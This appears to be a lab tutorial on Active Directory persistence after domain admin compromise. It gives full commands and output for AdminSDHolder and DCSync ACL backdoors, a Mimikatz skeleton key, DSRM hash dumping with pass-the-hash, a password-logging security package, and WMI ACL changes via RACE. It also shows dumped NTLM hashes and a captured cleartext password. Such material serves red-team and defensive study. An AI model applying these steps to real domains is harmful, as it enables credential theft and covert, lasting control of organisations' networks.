Active Directory Persistence

This article is looking at methods for maintaining access to an Active Directory environment when you already have administrative access.

AdminSDHolder

AdminSDHolder is an Active Directory object that has default permissions set. Every 60 minutes, the Security Descriptor Propagator (SDPROP) will read the AdminSDHolder permissions, and replicate these permissions onto privileged groups, such as the Domain and Enterprise Administrator groups.

PowerView can be used to modify permissions on the AdminSDHolder object.

PS C:\Tools> . .\PowerView.ps1
PS C:\Tools> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=bordergate,DC=local' -PrincipalIdentity Alice -Rights All -verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=Alice)(name=Alice)(displayname=Alice)))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=Alice)(name=Alice)(displayname=Alice))))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because
[System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Get-DomainObject] Extracted domain 'bordergate.local' from
'CN=AdminSDHolder,CN=System,DC=bordergate,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(|(distinguishedname=CN=AdminSDHolder,CN=System,DC=bordergate,DC=local))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=CN=AdminSDHolder,CN=System,DC=bordergate,DC=local)))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because
[System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local 'All' on
CN=AdminSDHolder,CN=System,DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID
'00000000-0000-0000-0000-000000000000' on CN=AdminSDHolder,CN=System,DC=bordergate,DC=local

After running PowerView, we can see the permissions of the AdminSDHolder have been modified to include user Alice.

These rights will be replicated into the Domain Admins group:

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "Alice"}


AceType               : AccessAllowed
ObjectDN              : CN=Domain Admins,CN=Users,DC=bordergate,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-1220112391-3624315575-3511410581-512
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-1220112391-3624315575-3511410581-1104
AccessMask            : 983551
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
IdentityName          : BORDERGATE\alice

LSASS Skeleton Keys

Mimikatz can be used to patch LSASS memory, and add a password that will work for all user accounts.

C:\Tools>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

With LSASS patched on the domain controller, we can now log into any account using the password of “mimikatz”.

C:\Users\Administrator.BORDERGATE>net use \\DC01.bordergate.local\C$ mimikatz /user:bordergate\Administrator
The command completed successfully.

Directory Services Restore Mode

The Directory Services Restore Mode (DSRM) account is configured when setting up a domain. It’s password will be the same as the local Administrator account on the domain controller. We can extract it’s password using the Mimikatz command lsadump::sam.

C:\Tools>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

604     {0;000003e7} 1 D 21212          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;000618c3} 1 D 29162791    BORDERGATE\Administrator        S-1-5-21-1220112391-3624315575-3511410581-500   (18g,26p)       Primary
 * Thread Token  : {0;000003e7} 1 D 29217646    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : DC01
SysKey : 8ddae70b8e792f61d8ec62cad8322311
Local SID : S-1-5-21-1038277516-4077007422-4190574700

SAMKey : 5cbcebeed11d1325ab6d94d5bb3b8984

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 64f12cddaa88057e06a81b54e73b949b

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount

mimikatz # lsadump::lsa /patch
Domain : BORDERGATE / S-1-5-21-1220112391-3624315575-3511410581

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

By default, network login is not possible using the DSRM account. Setting the DsrmAdminLogonBehaviour registry key to 2 on a domain controller will allow us to login remotely using it;

PS C:\Tools> New-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour' -Value 2 -PropertyType DWORD -Verbose
VERBOSE: Performing the operation "New Property" on target "Item: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\ Property: DsrmAdminLogonBehaviour".


DsrmAdminLogonBehaviour : 2
PSPath                  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
PSParentPath            : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName             : Lsa
PSDrive                 : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry



PS C:\Tools> Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour'


DsrmAdminLogonBehaviour : 2
PSPath                  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
PSParentPath            : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName             : Lsa
PSDrive                 : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry

Then we can use Mimikatz to pass the DSRM hash and gain remote access to the domain controller.

C:\Tools>mimikatz "privilege::debug" "sekurlsa::pth /domain:bordergate.local /user:Administrator /ntlm:64f12cddaa88057e06a81b54e73b949b" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::pth /domain:bordergate.local /user:Administrator /ntlm:64f12cddaa88057e06a81b54e73b949b
user    : Administrator
domain  : bordergate.local
program : cmd.exe
impers. : no
NTLM    : 64f12cddaa88057e06a81b54e73b949b
  |  PID  564
  |  TID  436
  |  LSA Process is now R/W
  |  LUID 0 ; 624960 (00000000:00098940)
  \_ msv1_0   - data copy @ 0000022AAD3D5070 : OK !
  \_ kerberos - data copy @ 0000022AACEA04C8
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000022AAD3D9438 (32) -> null

mimikatz(commandline) # exit
Bye!

With the ticket injected into memory, we can access the C$ share on the domain controller.

C:\Windows\system32>dir \\DC01\C$
 Volume in drive \\DC01\C$ has no label.
 Volume Serial Number is 343D-F2D0

 Directory of \\DC01\C$

08/05/2021  09:20    <DIR>          PerfLogs
28/04/2024  10:27    <DIR>          Program Files
08/05/2021  10:40    <DIR>          Program Files (x86)
06/05/2024  10:01    <DIR>          Tools
28/04/2024  10:21    <DIR>          Users
06/05/2024  10:31    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  51,680,108,544 bytes free

Custom Security Support Providers

Mimikatz includes a DLL, mimilib.dll that can act as an authentication provider. By installing this DLL on a domain controller, we can record usernames and passwords used to login to the system in a text file.

To install the DLL, copy it to C:\Windows\System32 and set the Security Packages registry key:

C:\Tools>copy mimilib.dll C:\Windows\System32\
        1 file(s) copied.
        
C:\Tools>        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
The operation completed successfully.

C:\Tools>reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib
        

After the domain controller has rebooted, any subsequent domain logins will be recorded in kiwissp.log:

C:\Windows\System32>type kiwissp.log
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)
[00000000:0000ba4f] [00000002] BORDERGATE\DC01$ (DWM-1) 5a 76 7f 95 6f d1 ca 1a ba bf ca 60 eb f7 c7 95 12 29 af 39 53 6a 13 a9 c8 e3 14 0f 09 5b aa e5 8c af 29 55 06 6a f5 b4 da 40 89 86 e3 94 fe b0 79 8a 58 ab 18 1c 75 81 c5 3c 01 a9 23 54 43 a7 72 6e 60 9a 73 72 f5 f7 1f 7f ba 0b 04 8e f8 45 c2 74 0d eb 7a d2 9f 30 1b 85 bb 46 c3 0b 1f fa aa 2e 83 f0 60 16 39 cb d8 2f 20 3e 2f fc 97 97 aa 7e ed dd 5b e7 c0 2e 88 17 25 3f ae 1f e7 2f 38 94 87 a8 c6 3f ba 36 2c c5 85 57 9e ff c8 e7 d9 84 ac f6 94 3a 93 38 fa 51 d7 33 93 18 c6 4c e9 ec 89 af 61 f5 3e e8 c8 4e 0a c1 ea d2 92 1b 90 08 3d 98 bd 98 d8 75 7f 96 5d 15 6b 41 1f 71 76 0c c7 5f 1c fc 26 24 cd 5a 4c 16 d5 e4 82 97 ca 1c dd 1a 8b 05 ec 22 31 bd 35 18 8c 32 91 66 97 c3 28 4f 0d fa 3e f5 ce aa 25 5b ba 2e 12 06
[00000000:0003f634] [00000002] BORDERGATE\Administrator (Administrator) Password2

Recording login credentials can also be achieved using Password Filters.


ACL Modification

DCSync Permissions

We can add DCSync rights (DS Replication Get Changes/Replicating Directory Changes All) to a user account we control. The user won’t appear in an administrative group, but will be able to replicate any credentials in the domain.

PS C:\Tools> . .\PowerView.ps1
PS C:\Tools> Add-DomainObjectAcl  -TargetIdentity "DC=bordergate,DC=local" -PrincipalIdentity Alice -Rights DCsync -Verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=Alice)(name=Alice)(displayname=Alice)))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=Alice)(name=Alice)(displayname=Alice))))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Get-DomainObject] Extracted domain 'bordergate.local' from 'DC=bordergate,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=DC=bordergate,DC=local))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=DC=bordergate,DC=local)))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local 'DCsync' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '89e95b76-444d-4c62-991a-0facbeda640c' on DC=bordergate,DC=local

With the permission set, Alice will be able to DCSync any user in the domain:

C:\Tools>whoami
bordergate\alice

C:\Tools>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:bordergate.local /user:Administrator
[DC] 'bordergate.local' will be the domain
[DC] 'DC01.bordergate.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 06/05/2024 10:47:18
Object Security ID   : S-1-5-21-1220112391-3624315575-3511410581-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: c39f2beb3d2ec06a62cb887fb391dee0
    ntlm- 0: c39f2beb3d2ec06a62cb887fb391dee0
RACE Toolkit

RACE is a PowerShell script that can modify Access Control Entries for persistence. It can be downloaded here: https://github.com/samratashok/RACE

For instance, we can allow a user to execute remote commands on the domain controller using WMI:

PS C:\Tools\RACE-master> . .\RACE.ps1
PS C:\Tools\RACE-master> Set-RemoteWMI -SamAccountName Alice -ComputerName DC01 -Verbose
VERBOSE: Existing ACL for namespace root is
O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU)
VERBOSE: Existing ACL for DCOM is
O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD
CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)
VERBOSE: New ACL for namespace root is
O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU)(A;CI;CCDCLCSWRPWPRCWD;;;S-
1-5-21-1220112391-3624315575-3511410581-1104)
VERBOSE: New ACL for DCOM
O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD
CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)(A;;CCDCLCSWR
P;;;S-1-5-21-1220112391-3624315575-3511410581-1104)

In Conclusion

Modifying LSASS memory directly on a domain controller isn’t advisable outside of a lab environment, since it may introduce stability problems. ACL modification is the most preferable means of persistence in an Active Directory environment, since it’s changes are often trivial to roll-back, and are difficult to detect.